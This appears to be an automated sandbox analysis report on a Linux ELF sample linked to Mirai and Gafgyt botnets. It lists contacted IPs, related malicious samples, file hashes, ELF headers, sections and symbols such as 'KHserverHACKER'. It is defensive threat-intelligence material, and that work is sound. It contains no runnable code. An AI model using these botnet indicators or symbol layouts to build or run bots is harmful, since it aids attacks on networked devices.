156.133.239.164	unknown	Luxembourg	29975	VODACOM-ZA	false
41.195.109.5	unknown	South Africa	16637	MTNNS-ASZA	false
197.140.232.173	unknown	Algeria	36891	ICOSNET-ASDZ	false
156.7.48.21	unknown	United States	29975	VODACOM-ZA	false
197.128.32.64	unknown	Morocco	6713	IAM-ASMA	false
41.212.87.215	unknown	Kenya	15399	WANANCHI-KE	false
197.75.233.63	unknown	South Africa	16637	MTNNS-ASZA	false
156.249.231.136	unknown	Seychelles	26484	IKGUL-26484US	false
197.192.154.217	unknown	Egypt	36992	ETISALAT-MISREG	false
156.31.97.11	unknown	Brunei Darussalam	34542	SAFRANHE-ASFR	false
41.102.102.245	unknown	Algeria	36947	ALGTEL-ASDZ	false
41.97.63.189	unknown	Algeria	36947	ALGTEL-ASDZ	false
197.4.29.57	unknown	Tunisia	5438	ATI-TN	false
197.89.97.92	unknown	South Africa	10474	OPTINETZA	false
41.85.32.130	unknown	South Africa	22355	FROGFOOTZA	false
89.63.204.237	unknown	Germany	5430	FREENETDEfreenetDatenkommunikationsGmbHDE	false
197.12.241.197	unknown	Tunisia	37703	ATLAXTN	false
147.33.113.177	unknown	Czech Republic	2852	CESNET2CZ	false
197.22.21.160	unknown	Tunisia	37693	TUNISIANATN	false
118.93.185.3	unknown	New Zealand	9500	VODAFONE-TRANSIT-ASVodafoneNZLtdNZ	false
156.79.92.67	unknown	United States	11363	FUJITSU-USAUS	false
41.21.252.79	unknown	South Africa	36994	Vodacom-VBZA	false
41.87.150.14	unknown	Morocco	36925	ASMediMA	false
41.123.62.248	unknown	South Africa	16637	MTNNS-ASZA	false
156.147.109.6	unknown	Korea Republic of	4668	LGNET-AS-KRLGCNSKR	false
23.1.183.166	unknown	United States	16625	AKAMAI-ASUS	false
66.78.179.81	unknown	United States	18474	AENEAS-CWUS	false
41.168.4.4	unknown	South Africa	36937	Neotel-ASZA	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
41.187.159.154	arm7-20240623-0650.elf	Get hash	malicious	Mirai	Browse
	HmWYsIrBpc.elf	Get hash	malicious	Mirai	Browse
	sBh15x4q6l	Get hash	malicious	Mirai	Browse
166.224.170.83	8fRqETtY6x	Get hash	malicious	Mirai	Browse
156.129.84.124	bok.mpsl.elf	Get hash	malicious	Mirai	Browse
	hz7nI1U6H5.elf	Get hash	malicious	Mirai	Browse
	nPLk9q5glA	Get hash	malicious	Mirai	Browse
102.13.129.41	ePKfwxZte9.elf	Get hash	malicious	Mirai	Browse
197.51.240.189	ACKpfvO313.elf	Get hash	malicious	Mirai	Browse
	4WTGKXVzGo.elf	Get hash	malicious	Unknown	Browse
	6XXFpOCDeW.elf	Get hash	malicious	Mirai	Browse
	UG2cG1AZz4.elf	Get hash	malicious	Mirai	Browse
	bk.mips-20221002-0650.elf	Get hash	malicious	Mirai	Browse
	arm-20220925-1657.elf	Get hash	malicious	Mirai, Moobot	Browse
	sora.arm7	Get hash	malicious	Mirai	Browse
24.2.200.10	aAOTiDbSyD	Get hash	malicious	Unknown	Browse
197.90.63.228	SecuriteInfo.com.Linux.Siggen.9999.24976.3645.elf	Get hash	malicious	Mirai	Browse
197.90.63.228	WSGy4ef6x8.elf	Get hash	malicious	Mirai	Browse
201.21.20.22	UcNeLW5yCY.elf	Get hash	malicious	Mirai	Browse
156.92.118.101	zwQuELj6YA.elf	Get hash	malicious	Mirai	Browse
156.92.118.101	y5WwMBeTqh	Get hash	malicious	Mirai	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
daisy.ubuntu.com	armv4l.elf	Get hash	malicious	Gafgyt, Mirai	Browse	162.213.35.25
	sora.m68k.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	mips.elf	Get hash	malicious	Gafgyt, Mirai	Browse	162.213.35.25
	armv7l.elf	Get hash	malicious	Gafgyt, Mirai	Browse	162.213.35.25
	armv5l.elf	Get hash	malicious	Gafgyt, Mirai	Browse	162.213.35.25
	zmap.arm6.elf	Get hash	malicious	Mirai, Okiru	Browse	162.213.35.25
	m68k.elf	Get hash	malicious	Gafgyt, Mirai	Browse	162.213.35.25
	zmap.x86_64.elf	Get hash	malicious	Okiru	Browse	162.213.35.25
	zmap.arm5.elf	Get hash	malicious	Okiru	Browse	162.213.35.24
	dwhdbg.elf	Get hash	malicious	Mirai	Browse	162.213.35.24

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
VODACOM-ZA	armv4l.elf	Get hash	malicious	Gafgyt, Mirai	Browse	41.28.209.0
	mips.elf	Get hash	malicious	Gafgyt, Mirai	Browse	41.1.200.16
	armv7l.elf	Get hash	malicious	Gafgyt, Mirai	Browse	156.48.59.150
	sh4.elf	Get hash	malicious	Gafgyt, Mirai	Browse	156.7.184.145
	armv5l.elf	Get hash	malicious	Gafgyt, Mirai	Browse	156.2.60.185
	ex86.elf	Get hash	malicious	Mirai	Browse	156.141.254.174
	m68k.elf	Get hash	malicious	Gafgyt, Mirai	Browse	156.138.36.16
	armv6l.elf	Get hash	malicious	Gafgyt, Mirai	Browse	156.2.60.170
	sparc.elf	Get hash	malicious	Gafgyt, Mirai	Browse	156.24.186.213
	mipsel.elf	Get hash	malicious	Gafgyt, Mirai	Browse	41.192.59.153
USCC-ASNUS	teste.arm7.elf	Get hash	malicious	Mirai, Moobot, Okiru	Browse	166.221.142.121
	x86_64.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	166.223.175.37
	la.bot.arm7.elf	Get hash	malicious	Unknown	Browse	166.227.51.153
	botx.arm.elf	Get hash	malicious	Mirai	Browse	166.233.227.148
	loligang.spc.elf	Get hash	malicious	Mirai	Browse	166.225.156.39
	sora.ppc.elf	Get hash	malicious	Mirai	Browse	166.231.183.19
	sh4.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	166.245.231.240
	la.bot.sh4.elf	Get hash	malicious	Unknown	Browse	166.222.120.22
	x86_32.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	166.234.65.113
	arm7.nn-20241120-0508.elf	Get hash	malicious	Mirai, Okiru	Browse	166.242.202.189
NOOR-ASEG	ex86.elf	Get hash	malicious	Mirai	Browse	41.187.159.115
	m68k.elf	Get hash	malicious	Gafgyt, Mirai	Browse	41.187.12.194
	armv6l.elf	Get hash	malicious	Gafgyt, Mirai	Browse	41.187.12.161
	mipsel.elf	Get hash	malicious	Gafgyt, Mirai	Browse	41.187.12.159
	m68k.elf	Get hash	malicious	Mirai	Browse	41.187.159.104
	mpsl.elf	Get hash	malicious	Mirai	Browse	217.139.1.131
	mips.elf	Get hash	malicious	Mirai	Browse	41.187.159.165
	hmips.elf	Get hash	malicious	Mirai	Browse	41.187.159.144
	mpsl.elf	Get hash	malicious	Mirai	Browse	41.187.159.150
	arm5-20241201-0124.elf	Get hash	malicious	Mirai	Browse	41.187.12.189

File type:	ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped
Entropy (8bit):	6.116298886314722
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	x86.elf
File size:	143'548 bytes
MD5:	940e95cef426d7a84b553331473fcf32
SHA1:	4bf7243b8d7d40b8a32817d76bfce8d827c6e32c
SHA256:	3a38b4de6a1f5d29b197a2ca23e87d97d912068fbfb2afeed30105f273f431a4
SHA512:	ad26694fd8685a26a2a8ff2f103d8f10e320818feb9e7aaed477e51e05d09e3917b1cb6eac6804cfaf903a59199d3806d858a61d279530cf18f66adb7def5ccb
SSDEEP:	3072:ezwFzskMXc8TfskyCBkIOVPem4MSRAW8+DA6Dcoixgr1TkM3Q:eGMXxJyCbOIdsEDcoixgr1TkM3Q
TLSH:	6BE3293372D189ABC09312B82ADBA6A19C21FDBF0735614B33D47E687B398C45D59B43
File Content Preview:	.ELF..............>.......@.....@.......P...........@.8...@.......................@.......@.....X.......X.......................X.......X.Q.....X.Q.............8v..............Q.td....................................................H...._.....L..H........

Static ELF Info

ELF header
Class:	ELF64
Data:	2's complement, little endian
Version:	1 (current)
Machine:	Advanced Micro Devices X86-64
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x400194
Flags:	0x0
ELF Header Size:	64
Program Header Offset:	64
Program Header Size:	56
Number of Program Headers:	3
Section Header Offset:	111952
Section Header Size:	64
Number of Section Headers:	15
Header String Table Index:	12

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Link	Info	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0	0	0
.init	PROGBITS	0x4000e8	0xe8	0x13	0x0	0x6	AX	0	0	1
.text	PROGBITS	0x400100	0x100	0x14d28	0x0	0x6	AX	0	0	16
.fini	PROGBITS	0x414e28	0x14e28	0xe	0x0	0x6	AX	0	0	1
.rodata	PROGBITS	0x414e40	0x14e40	0x5311	0x0	0x2	A	0	0	32
.eh_frame	PROGBITS	0x41a154	0x1a154	0x4	0x0	0x2	A	0	0	4
.ctors	PROGBITS	0x51a158	0x1a158	0x10	0x0	0x3	WA	0	0	8
.dtors	PROGBITS	0x51a168	0x1a168	0x10	0x0	0x3	WA	0	0	8
.jcr	PROGBITS	0x51a178	0x1a178	0x8	0x0	0x3	WA	0	0	8
.data	PROGBITS	0x51a180	0x1a180	0x788	0x0	0x3	WA	0	0	32
.bss	NOBITS	0x51a920	0x1a908	0x6e70	0x0	0x3	WA	0	0	32
.comment	PROGBITS	0x0	0x1a908	0xbe2	0x0	0x0		0	0	1
.shstrtab	STRTAB	0x0	0x1b4ea	0x66	0x0	0x0		0	0	1
.symtab	SYMTAB	0x0	0x1b910	0x4ec0	0x18	0x0		14	296	8
.strtab	STRTAB	0x0	0x207d0	0x28ec	0x0	0x0		0	0	1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x400000	0x400000	0x1a158	0x1a158	6.3738	0x5	R E	0x100000	.init .text .fini .rodata .eh_frame
LOAD	0x1a158	0x51a158	0x51a158	0x7b0	0x7638	2.4626	0x6	RW	0x100000	.ctors .dtors .jcr .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x8

Symbols

Name	Section Name	Value	Size	Symbol Type	Symbol Bind	Symbol Visibility	Ndx
	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
	.symtab	0x4000e8	0	SECTION	<unknown>	DEFAULT	1
	.symtab	0x400100	0	SECTION	<unknown>	DEFAULT	2
	.symtab	0x414e28	0	SECTION	<unknown>	DEFAULT	3
	.symtab	0x414e40	0	SECTION	<unknown>	DEFAULT	4
	.symtab	0x41a154	0	SECTION	<unknown>	DEFAULT	5
	.symtab	0x51a158	0	SECTION	<unknown>	DEFAULT	6
	.symtab	0x51a168	0	SECTION	<unknown>	DEFAULT	7
	.symtab	0x51a178	0	SECTION	<unknown>	DEFAULT	8
	.symtab	0x51a180	0	SECTION	<unknown>	DEFAULT	9
	.symtab	0x51a920	0	SECTION	<unknown>	DEFAULT	10
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	11
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	12
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	13
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	14
C.145.7195	.symtab	0x417660	88	OBJECT	<unknown>	DEFAULT	4
KHcommSOCK	.symtab	0x51a9e0	4	OBJECT	<unknown>	DEFAULT	10
KHserverHACKER	.symtab	0x51a480	4	OBJECT	<unknown>	DEFAULT	9
LOCAL_ADDR	.symtab	0x520dd8	4	OBJECT	<unknown>	DEFAULT	10
Q	.symtab	0x51aa00	16384	OBJECT	<unknown>	DEFAULT	10
Trim	.symtab	0x401478	235	FUNC	<unknown>	DEFAULT	2
UserAgents	.symtab	0x51a360	288	OBJECT	<unknown>	DEFAULT	9
_Jv_RegisterClasses	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
_READ.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_WRITE.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__CTOR_END__	.symtab	0x51a160	0	OBJECT	<unknown>	DEFAULT	6
__CTOR_LIST__	.symtab	0x51a158	0	OBJECT	<unknown>	DEFAULT	6
__C_ctype_b	.symtab	0x51a498	8	OBJECT	<unknown>	DEFAULT	9
__C_ctype_b.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__C_ctype_b_data	.symtab	0x418520	768	OBJECT	<unknown>	DEFAULT	4
__C_ctype_tolower	.symtab	0x51a4a8	8	OBJECT	<unknown>	DEFAULT	9
__C_ctype_tolower.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__C_ctype_tolower_data	.symtab	0x418820	768	OBJECT	<unknown>	DEFAULT	4
__C_ctype_toupper	.symtab	0x51a4b8	8	OBJECT	<unknown>	DEFAULT	9
__C_ctype_toupper.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__C_ctype_toupper_data	.symtab	0x418b20	768	OBJECT	<unknown>	DEFAULT	4
__DTOR_END__	.symtab	0x51a170	0	OBJECT	<unknown>	DEFAULT	7
__DTOR_LIST__	.symtab	0x51a168	0	OBJECT	<unknown>	DEFAULT	7
__EH_FRAME_BEGIN__	.symtab	0x41a154	0	OBJECT	<unknown>	DEFAULT	5
__FRAME_END__	.symtab	0x41a154	0	OBJECT	<unknown>	DEFAULT	5
__GI___C_ctype_b	.symtab	0x51a498	8	OBJECT	<unknown>	HIDDEN	9
__GI___C_ctype_b_data	.symtab	0x418520	768	OBJECT	<unknown>	HIDDEN	4
__GI___C_ctype_tolower	.symtab	0x51a4a8	8	OBJECT	<unknown>	HIDDEN	9
__GI___C_ctype_tolower_data	.symtab	0x418820	768	OBJECT	<unknown>	HIDDEN	4
__GI___C_ctype_toupper	.symtab	0x51a4b8	8	OBJECT	<unknown>	HIDDEN	9
__GI___C_ctype_toupper_data	.symtab	0x418b20	768	OBJECT	<unknown>	HIDDEN	4
__GI___ctype_b	.symtab	0x51a4a0	8	OBJECT	<unknown>	HIDDEN	9
__GI___ctype_tolower	.symtab	0x51a4b0	8	OBJECT	<unknown>	HIDDEN	9
__GI___ctype_toupper	.symtab	0x51a4c0	8	OBJECT	<unknown>	HIDDEN	9
__GI___errno_location	.symtab	0x40d458	6	FUNC	<unknown>	HIDDEN	2
__GI___fgetc_unlocked	.symtab	0x41298c	222	FUNC	<unknown>	HIDDEN	2
__GI___glibc_strerror_r	.symtab	0x40f2e4	14	FUNC	<unknown>	HIDDEN	2
__GI___h_errno_location	.symtab	0x411eec	6	FUNC	<unknown>	HIDDEN	2
__GI___libc_fcntl	.symtab	0x40ce48	100	FUNC	<unknown>	HIDDEN	2
__GI___libc_lseek	.symtab	0x414bbc	45	FUNC	<unknown>	HIDDEN	2
__GI___libc_open	.symtab	0x40d0dc	106	FUNC	<unknown>	HIDDEN	2
__GI___uClibc_fini	.symtab	0x41174c	70	FUNC	<unknown>	HIDDEN	2
__GI___uClibc_init	.symtab	0x4117cb	67	FUNC	<unknown>	HIDDEN	2
__GI___xpg_strerror_r	.symtab	0x40f2f4	194	FUNC	<unknown>	HIDDEN	2
__GI__exit	.symtab	0x40ceac	42	FUNC	<unknown>	HIDDEN	2
__GI_abort	.symtab	0x410c2c	276	FUNC	<unknown>	HIDDEN	2
__GI_atoi	.symtab	0x411110	18	FUNC	<unknown>	HIDDEN	2
__GI_brk	.symtab	0x413794	43	FUNC	<unknown>	HIDDEN	2
__GI_clock_getres	.symtab	0x411b40	41	FUNC	<unknown>	HIDDEN	2
__GI_close	.symtab	0x40cf04	41	FUNC	<unknown>	HIDDEN	2
__GI_closedir	.symtab	0x40d2f0	116	FUNC	<unknown>	HIDDEN	2
__GI_connect	.symtab	0x40f854	43	FUNC	<unknown>	HIDDEN	2
__GI_dup2	.symtab	0x40cf30	44	FUNC	<unknown>	HIDDEN	2
__GI_errno	.symtab	0x520d7c	4	OBJECT	<unknown>	HIDDEN	10
__GI_execl	.symtab	0x4112f8	287	FUNC	<unknown>	HIDDEN	2
__GI_execve	.symtab	0x411b6c	38	FUNC	<unknown>	HIDDEN	2
__GI_exit	.symtab	0x41129c	92	FUNC	<unknown>	HIDDEN	2
__GI_fclose	.symtab	0x4137ec	259	FUNC	<unknown>	HIDDEN	2
__GI_fcntl	.symtab	0x40ce48	100	FUNC	<unknown>	HIDDEN	2
__GI_fcntl64	.symtab	0x40ce48	100	FUNC	<unknown>	HIDDEN	2
__GI_fflush_unlocked	.symtab	0x413c14	329	FUNC	<unknown>	HIDDEN	2
__GI_fgetc_unlocked	.symtab	0x41298c	222	FUNC	<unknown>	HIDDEN	2
__GI_fgets	.symtab	0x40e784	109	FUNC	<unknown>	HIDDEN	2
__GI_fgets_unlocked	.symtab	0x40e7f4	116	FUNC	<unknown>	HIDDEN	2
__GI_fopen	.symtab	0x40d490	10	FUNC	<unknown>	HIDDEN	2
__GI_fork	.symtab	0x40cf5c	38	FUNC	<unknown>	HIDDEN	2
__GI_fputs_unlocked	.symtab	0x40e868	56	FUNC	<unknown>	HIDDEN	2
__GI_fseek	.symtab	0x4138f0	5	FUNC	<unknown>	HIDDEN	2
__GI_fseeko64	.symtab	0x4138f8	218	FUNC	<unknown>	HIDDEN	2
__GI_fstat	.symtab	0x411b94	82	FUNC	<unknown>	HIDDEN	2
__GI_fstat64	.symtab	0x411b94	82	FUNC	<unknown>	HIDDEN	2
__GI_fwrite_unlocked	.symtab	0x40e8a0	134	FUNC	<unknown>	HIDDEN	2
__GI_getc_unlocked	.symtab	0x41298c	222	FUNC	<unknown>	HIDDEN	2
__GI_getdtablesize	.symtab	0x40cf84	35	FUNC	<unknown>	HIDDEN	2
__GI_getegid	.symtab	0x411be8	38	FUNC	<unknown>	HIDDEN	2
__GI_geteuid	.symtab	0x40cfa8	38	FUNC	<unknown>	HIDDEN	2
__GI_getgid	.symtab	0x411c10	38	FUNC	<unknown>	HIDDEN	2
__GI_gethostbyname	.symtab	0x40f498	53	FUNC	<unknown>	HIDDEN	2
__GI_gethostbyname_r	.symtab	0x40f4d0	897	FUNC	<unknown>	HIDDEN	2
__GI_getpagesize	.symtab	0x411c38	19	FUNC	<unknown>	HIDDEN	2
__GI_getpid	.symtab	0x40cfd0	38	FUNC	<unknown>	HIDDEN	2
__GI_getrlimit	.symtab	0x40d020	40	FUNC	<unknown>	HIDDEN	2
__GI_getsockname	.symtab	0x40f880	41	FUNC	<unknown>	HIDDEN	2
__GI_getuid	.symtab	0x411c4c	38	FUNC	<unknown>	HIDDEN	2
__GI_h_errno	.symtab	0x520d80	4	OBJECT	<unknown>	HIDDEN	10
__GI_inet_addr	.symtab	0x40f47c	28	FUNC	<unknown>	HIDDEN	2
__GI_inet_aton	.symtab	0x412d0c	137	FUNC	<unknown>	HIDDEN	2
__GI_inet_ntop	.symtab	0x41439c	527	FUNC	<unknown>	HIDDEN	2
__GI_inet_pton	.symtab	0x414097	493	FUNC	<unknown>	HIDDEN	2
__GI_initstate_r	.symtab	0x411057	185	FUNC	<unknown>	HIDDEN	2
__GI_ioctl	.symtab	0x40d048	104	FUNC	<unknown>	HIDDEN	2
__GI_isatty	.symtab	0x40f3d4	25	FUNC	<unknown>	HIDDEN	2
__GI_kill	.symtab	0x40d0b0	44	FUNC	<unknown>	HIDDEN	2
__GI_lseek	.symtab	0x414bbc	45	FUNC	<unknown>	HIDDEN	2
__GI_lseek64	.symtab	0x414bb4	5	FUNC	<unknown>	HIDDEN	2
__GI_memchr	.symtab	0x412acc	240	FUNC	<unknown>	HIDDEN	2
__GI_memcpy	.symtab	0x40e930	102	FUNC	<unknown>	HIDDEN	2
__GI_memmove	.symtab	0x40edf4	734	FUNC	<unknown>	HIDDEN	2
__GI_mempcpy	.symtab	0x412a70	90	FUNC	<unknown>	HIDDEN	2
__GI_memrchr	.symtab	0x412bbc	237	FUNC	<unknown>	HIDDEN	2
__GI_memset	.symtab	0x40e9a0	210	FUNC	<unknown>	HIDDEN	2
__GI_mmap	.symtab	0x411b10	48	FUNC	<unknown>	HIDDEN	2
__GI_mremap	.symtab	0x411c74	42	FUNC	<unknown>	HIDDEN	2
__GI_munmap	.symtab	0x411ca0	38	FUNC	<unknown>	HIDDEN	2
__GI_nanosleep	.symtab	0x411cc8	38	FUNC	<unknown>	HIDDEN	2
__GI_open	.symtab	0x40d0dc	106	FUNC	<unknown>	HIDDEN	2
__GI_opendir	.symtab	0x40d364	243	FUNC	<unknown>	HIDDEN	2
__GI_pipe	.symtab	0x40d154	38	FUNC	<unknown>	HIDDEN	2
__GI_poll	.symtab	0x4137c0	41	FUNC	<unknown>	HIDDEN	2
__GI_raise	.symtab	0x413768	18	FUNC	<unknown>	HIDDEN	2
__GI_random	.symtab	0x410d4c	72	FUNC	<unknown>	HIDDEN	2
__GI_random_r	.symtab	0x410f54	90	FUNC	<unknown>	HIDDEN	2
__GI_rawmemchr	.symtab	0x413ea0	190	FUNC	<unknown>	HIDDEN	2
__GI_read	.symtab	0x40d1a8	39	FUNC	<unknown>	HIDDEN	2
__GI_recv	.symtab	0x40f8e0	11	FUNC	<unknown>	HIDDEN	2
__GI_recvfrom	.symtab	0x40f8ec	45	FUNC	<unknown>	HIDDEN	2
__GI_sbrk	.symtab	0x411cf0	74	FUNC	<unknown>	HIDDEN	2
__GI_select	.symtab	0x40d1d0	44	FUNC	<unknown>	HIDDEN	2
__GI_send	.symtab	0x40f91c	11	FUNC	<unknown>	HIDDEN	2
__GI_sendto	.symtab	0x40f928	48	FUNC	<unknown>	HIDDEN	2
__GI_setsockopt	.symtab	0x40f958	53	FUNC	<unknown>	HIDDEN	2
__GI_setstate_r	.symtab	0x410eac	168	FUNC	<unknown>	HIDDEN	2
__GI_sigaction	.symtab	0x411a01	247	FUNC	<unknown>	HIDDEN	2
__GI_sigaddset	.symtab	0x40f9c0	35	FUNC	<unknown>	HIDDEN	2
__GI_sigemptyset	.symtab	0x40f9e4	20	FUNC	<unknown>	HIDDEN	2
__GI_signal	.symtab	0x40f9f8	168	FUNC	<unknown>	HIDDEN	2
__GI_sigprocmask	.symtab	0x40d1fc	85	FUNC	<unknown>	HIDDEN	2
__GI_sleep	.symtab	0x411418	415	FUNC	<unknown>	HIDDEN	2
__GI_snprintf	.symtab	0x40d49c	137	FUNC	<unknown>	HIDDEN	2
__GI_socket	.symtab	0x40f990	47	FUNC	<unknown>	HIDDEN	2
__GI_sprintf	.symtab	0x40d528	149	FUNC	<unknown>	HIDDEN	2
__GI_srandom_r	.symtab	0x410fae	169	FUNC	<unknown>	HIDDEN	2
__GI_strcasecmp	.symtab	0x414bec	48	FUNC	<unknown>	HIDDEN	2
__GI_strchr	.symtab	0x40ea80	417	FUNC	<unknown>	HIDDEN	2
__GI_strcmp	.symtab	0x413d60	33	FUNC	<unknown>	HIDDEN	2
__GI_strcoll	.symtab	0x413d60	33	FUNC	<unknown>	HIDDEN	2
__GI_strcpy	.symtab	0x40ec30	213	FUNC	<unknown>	HIDDEN	2
__GI_strdup	.symtab	0x413fd8	54	FUNC	<unknown>	HIDDEN	2
__GI_strlen	.symtab	0x40ed10	225	FUNC	<unknown>	HIDDEN	2
__GI_strncat	.symtab	0x413f60	119	FUNC	<unknown>	HIDDEN	2
__GI_strncpy	.symtab	0x40f0d4	131	FUNC	<unknown>	HIDDEN	2
__GI_strnlen	.symtab	0x40f158	206	FUNC	<unknown>	HIDDEN	2
__GI_strpbrk	.symtab	0x413d88	140	FUNC	<unknown>	HIDDEN	2
__GI_strspn	.symtab	0x413e18	135	FUNC	<unknown>	HIDDEN	2
__GI_strstr	.symtab	0x40f228	187	FUNC	<unknown>	HIDDEN	2
__GI_strtok	.symtab	0x40f3c8	10	FUNC	<unknown>	HIDDEN	2
__GI_strtok_r	.symtab	0x412cac	94	FUNC	<unknown>	HIDDEN	2
__GI_strtol	.symtab	0x411124	10	FUNC	<unknown>	HIDDEN	2
__GI_strtoll	.symtab	0x411124	10	FUNC	<unknown>	HIDDEN	2
__GI_sysconf	.symtab	0x4115b8	351	FUNC	<unknown>	HIDDEN	2
__GI_tcgetattr	.symtab	0x40f3f0	110	FUNC	<unknown>	HIDDEN	2
__GI_time	.symtab	0x40d254	39	FUNC	<unknown>	HIDDEN	2
__GI_times	.symtab	0x411d3c	39	FUNC	<unknown>	HIDDEN	2
__GI_tolower	.symtab	0x40d2b0	30	FUNC	<unknown>	HIDDEN	2
__GI_toupper	.symtab	0x40d2d0	30	FUNC	<unknown>	HIDDEN	2
__GI_vfork	.symtab	0x40ce30	21	FUNC	<unknown>	HIDDEN	2
__GI_vsnprintf	.symtab	0x40d5c0	199	FUNC	<unknown>	HIDDEN	2
__GI_wait4	.symtab	0x411d64	47	FUNC	<unknown>	HIDDEN	2
__GI_waitpid	.symtab	0x40d27c	7	FUNC	<unknown>	HIDDEN	2
__GI_wcrtomb	.symtab	0x411ef4	68	FUNC	<unknown>	HIDDEN	2
__GI_wcsnrtombs	.symtab	0x411f48	140	FUNC	<unknown>	HIDDEN	2
__GI_wcsrtombs	.symtab	0x411f38	15	FUNC	<unknown>	HIDDEN	2
__GI_write	.symtab	0x40d284	42	FUNC	<unknown>	HIDDEN	2
__JCR_END__	.symtab	0x51a178	0	OBJECT	<unknown>	DEFAULT	8
__JCR_LIST__	.symtab	0x51a178	0	OBJECT	<unknown>	DEFAULT	8
__app_fini	.symtab	0x520d68	8	OBJECT	<unknown>	HIDDEN	10
__atexit_lock	.symtab	0x51a8a0	40	OBJECT	<unknown>	DEFAULT	9
__bsd_signal	.symtab	0x40f9f8	168	FUNC	<unknown>	HIDDEN	2
__bss_start	.symtab	0x51a908	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__check_one_fd	.symtab	0x411796	53	FUNC	<unknown>	DEFAULT	2
__ctype_b	.symtab	0x51a4a0	8	OBJECT	<unknown>	DEFAULT	9
__ctype_tolower	.symtab	0x51a4b0	8	OBJECT	<unknown>	DEFAULT	9
__ctype_toupper	.symtab	0x51a4c0	8	OBJECT	<unknown>	DEFAULT	9
__curbrk	.symtab	0x520dd0	8	OBJECT	<unknown>	HIDDEN	10
__data_start	.symtab	0x51a190	0	NOTYPE	<unknown>	DEFAULT	9
__decode_answer	.symtab	0x414758	242	FUNC	<unknown>	HIDDEN	2
__decode_dotted	.symtab	0x414cbc	246	FUNC	<unknown>	HIDDEN	2
__decode_header	.symtab	0x414650	161	FUNC	<unknown>	HIDDEN	2
__deregister_frame_info	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__dns_lookup	.symtab	0x412d98	1862	FUNC	<unknown>	HIDDEN	2
__do_global_ctors_aux	.symtab	0x414df0	0	FUNC	<unknown>	DEFAULT	2
__do_global_dtors_aux	.symtab	0x400100	0	FUNC	<unknown>	DEFAULT	2
__dso_handle	.symtab	0x51a180	0	OBJECT	<unknown>	HIDDEN	9
__encode_dotted	.symtab	0x414c1c	160	FUNC	<unknown>	HIDDEN	2
__encode_header	.symtab	0x4145ac	163	FUNC	<unknown>	HIDDEN	2
__encode_question	.symtab	0x4146f4	80	FUNC	<unknown>	HIDDEN	2
__environ	.symtab	0x520d58	8	OBJECT	<unknown>	DEFAULT	10
__errno_location	.symtab	0x40d458	6	FUNC	<unknown>	DEFAULT	2
__errno_location.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__exit_cleanup	.symtab	0x520d48	8	OBJECT	<unknown>	HIDDEN	10
__fgetc_unlocked	.symtab	0x41298c	222	FUNC	<unknown>	DEFAULT	2
__fini_array_end	.symtab	0x51a158	0	NOTYPE	<unknown>	HIDDEN	SHN_ABS
__fini_array_start	.symtab	0x51a158	0	NOTYPE	<unknown>	HIDDEN	SHN_ABS
__get_hosts_byname_r	.symtab	0x413738	48	FUNC	<unknown>	HIDDEN	2
__getpagesize	.symtab	0x411c38	19	FUNC	<unknown>	DEFAULT	2
__glibc_strerror_r	.symtab	0x40f2e4	14	FUNC	<unknown>	DEFAULT	2
__glibc_strerror_r.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__h_errno_location	.symtab	0x411eec	6	FUNC	<unknown>	DEFAULT	2
__h_errno_location.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__init_array_end	.symtab	0x51a158	0	NOTYPE	<unknown>	HIDDEN	SHN_ABS
__init_array_start	.symtab	0x51a158	0	NOTYPE	<unknown>	HIDDEN	SHN_ABS
__length_dotted	.symtab	0x414db4	59	FUNC	<unknown>	HIDDEN	2
__length_question	.symtab	0x414744	19	FUNC	<unknown>	HIDDEN	2
__libc_close	.symtab	0x40cf04	41	FUNC	<unknown>	DEFAULT	2
__libc_connect	.symtab	0x40f854	43	FUNC	<unknown>	DEFAULT	2
__libc_creat	.symtab	0x40d146	14	FUNC	<unknown>	DEFAULT	2
__libc_fcntl	.symtab	0x40ce48	100	FUNC	<unknown>	DEFAULT	2
__libc_fcntl64	.symtab	0x40ce48	100	FUNC	<unknown>	DEFAULT	2
__libc_fork	.symtab	0x40cf5c	38	FUNC	<unknown>	DEFAULT	2
__libc_getpid	.symtab	0x40cfd0	38	FUNC	<unknown>	DEFAULT	2
__libc_lseek	.symtab	0x414bbc	45	FUNC	<unknown>	DEFAULT	2
__libc_lseek64	.symtab	0x414bb4	5	FUNC	<unknown>	DEFAULT	2
__libc_nanosleep	.symtab	0x411cc8	38	FUNC	<unknown>	DEFAULT	2
__libc_open	.symtab	0x40d0dc	106	FUNC	<unknown>	DEFAULT	2
